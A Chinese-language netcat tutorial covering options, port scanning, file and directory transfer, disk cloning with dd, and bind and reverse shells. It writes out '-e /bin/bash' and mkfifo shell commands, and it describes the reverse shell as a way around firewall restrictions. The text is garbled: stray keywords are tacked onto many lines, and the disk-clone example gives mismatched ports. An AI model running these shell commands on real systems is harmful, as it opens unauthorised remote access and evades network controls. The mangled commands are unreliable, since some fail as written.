瑞士軍刀netcat官網:http://netcat.sourceforge.net/shell
安裝:yum install -y nc
查詢:rpm -q ncbash
語法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通訊端口>][-s<來源地址>][-v...][-w<超時秒數>][主機名稱][通訊端口...]
說明:執行本指令可設置路由器的相關參數。服務器
創建鏈接: nc [-options] hostname port[s] [ports] …
綁定端口等待鏈接: nc -l port [-options] [hostname] [port]網絡
參數:ssh
-g<網關> 設置路由器躍程通訊網關,最多可設置8個。tcp
-G<指向器數目> 設置來源路由指向器,其數值爲4的倍數。工具
-h 在線幫助。測試
-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通訊端口。.net
-l 使用監聽模式,管控傳入的資料。代理
-n 直接使用IP地址,而不經過域名服務器。
-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p<通訊端口> 設置本地主機使用的通訊端口。
-r 亂數指定本地與遠端主機的通訊端口。
-s<來源地址> 設置本地主機送出數據包的IP地址。
-u 使用UDP傳輸協議。
-v 顯示指令執行過程。
-w<超時秒數> 設置等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通訊端口時使用。
★使用例:
1,鏈接到遠程主機
nc -nvv 192.168.0.1 80 //鏈接到80端口
2,監聽本地主機
建立默認tcp監聽:nc -l 80 //監聽本機的tcp 80端口。
建立udp監聽:nc -ul 9999
查看:netstat -antup |grep 9998
客戶端測試udp鏈接方法:nc -vuz 192.168.0.1 9999
客戶端測試tcp鏈接方法:nc -vz -w 2 192.168.0.1 9999 //超時2秒
3,超時
使用-w參數指定鏈接空閒超時的時間,默認爲秒數。鏈接超過指定時間將被斷開。-w參數在服務器端無效。
服務器端:nc -l 8080
客戶端: nc -w 60 192.168.0.1 8080 //-w 60指定60秒後自動斷開。
4,端口掃描
nc -z -v -n 192.168.1.1 21-25 //掃描21到25開放的端口
•能夠運行在TCP或者UDP模式,默認是TCP,-u參數調整爲udp.
-z 參數告訴netcat使用0 IO,鏈接成功後當即關閉鏈接, 不進行數據交換.
-v 參數指詳細輸出.
-n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名.
掃描udp端口:nc -vuz 192.168.0.1 80-90
5,聊天
服務器端:nc -l 8888 //監聽8888端口
客戶端: nc 服務端IP 8888
而後便可暢聊了。
6,文件傳輸
①文件從服務器傳輸到客戶端。
服務器命令:nc -l 8888 < file01.txt //當客戶端鏈接到服務器的8888端口時,文件file01.txt的內容就會傳給客戶端。
客戶端命令:nc -n 服務器IP 8888 > file02.txt //客戶端接收的文件內容重定向到file02.txt中
②文件從客戶端傳遞到服務器,此時,沒有必要改變服務器和客戶端的角色。方法是相似的,直接用如下命令傳遞便可。
服務器命令:nc -l 8888 > file01.txt
客戶端命令:nc -n 服務器IP 8888 < file02.txt
7,目錄傳輸
方法與上面文件傳輸相似,使用壓縮工具tar.
服務器命令:tar -cvf – dir_name | nc -l 8888 //壓縮後重定向給服務器。
客戶端命令:nc -n 服務器IP 8888 | tar -xvf - //接收到文件內容直接解壓縮
•使用bzip2壓縮效率高,節約帶寬。
服務器命令:tar -cvf – dir_name| bzip2 -z | nc -l 8888
客戶端命令:nc -n 服務器IP 8888 | bzip2 -d |tar -xvf -
8,克隆一個設備
若是你已經安裝配置一臺Linux機器而且須要重複一樣的操做對其餘的機器,而你不想在重複配置一遍。不在須要重複配置安裝的過程,
只啓動另外一臺機器的一些引導能夠克隆你的機器。
克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上
服務端:dd if=/dev/sda | nc -l 20000
客戶端;nc -n 服務器IP 8888 | dd of=/dev/sda
dd是一個從磁盤讀取原始數據的工具,我經過netcat服務器重定向它的輸出流到其餘機器而且寫入到磁盤中,
它會隨着分區表拷貝全部的信息。可是若是咱們已經作過度區而且只須要克隆root分區,咱們能夠根據咱們系統root分區的位置,更改sda 爲sda1,sda2.等等。
9,指定源地址
假設你的機器有多個地址,但願明確指定使用哪一個地址用於外部數據通信。咱們能夠在netcat中使用-s選項指定ip地址。
服務器端:nc -u -l 9999 < file.txt //服務器的IP:192.168.1.1
客戶端:nc -u 192.168.1.1 9999 -s 172.16.0.1 > file.txt //客戶端使用172.16.0.1創建鏈接。
該命令將綁定地址 172.16.0.1。
10,指定源端口
假設你的防火牆過濾除25端口外其它全部端口,你須要使用-p選項指定源端口。
服務器端:nc -l 20000
客戶端:nc 192.168.1.1 20000 25
使用1024之內的端口須要root權限。
該命令將在客戶端開啓25端口用於通信,不然將使用隨機端口。
11,打開一個shell
咱們已經用過遠程shell-使用telnet和ssh,可是若是這兩個命令沒有安裝而且咱們沒有權限安裝他們,咱們也可使用netcat建立遠程shell。
假設你的netcat支持 -c -e 參數(原生 netcat)。
服務器端:nc -l 20000 -e /bin/bash -i
客戶端:nc 192.168.1.1 20000
這裏咱們已經建立了一個netcat服務器而且表示當它鏈接成功時執行/bin/bash
假如netcat 不支持-c 或者 -e 參數(openbsd netcat),咱們仍然可以建立遠程shell
服務器端:
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo
這裏咱們建立了一個fifo文件,而後使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,
而後管道到netcat 運行的端口20000上。至此,咱們已經把netcat的輸出重定向到fifo文件中。
說明:
從網絡收到的輸入寫到fifo文件中
cat 命令讀取fifo文件而且其內容發送給sh命令
sh命令進程受到輸入並把它寫回到netcat。
netcat 經過網絡發送輸出到client
至於爲何會成功是由於管道使命令平行執行,fifo文件用來替代正常文件,由於fifo使讀取等待而若是是一個普通文件,cat命令會盡快結束並開始讀取空文件。
在客戶端僅僅簡單鏈接到服務器。
12,反向shell
反向shell是指在客戶端打開的shell。反向shell這樣命名是由於不一樣於其餘配置,這裏服務器使用的是由客戶提供的服務。
服務器端:nc -l 20000
在客戶端,簡單地告訴netcat在鏈接完成後,執行shell。
客戶端:nc 192.168.1.1 20000 -e /bin/bash
反向shell常常被用來繞過防火牆的限制,如阻止入站鏈接。例如,我有一個專用IP地址爲192.168.1.1,我使用代理服務器鏈接到外部網絡。若是我想從網絡外部訪問 這臺機器如1.2.3.4的shell,那麼我會用反向外殼用於這一目的。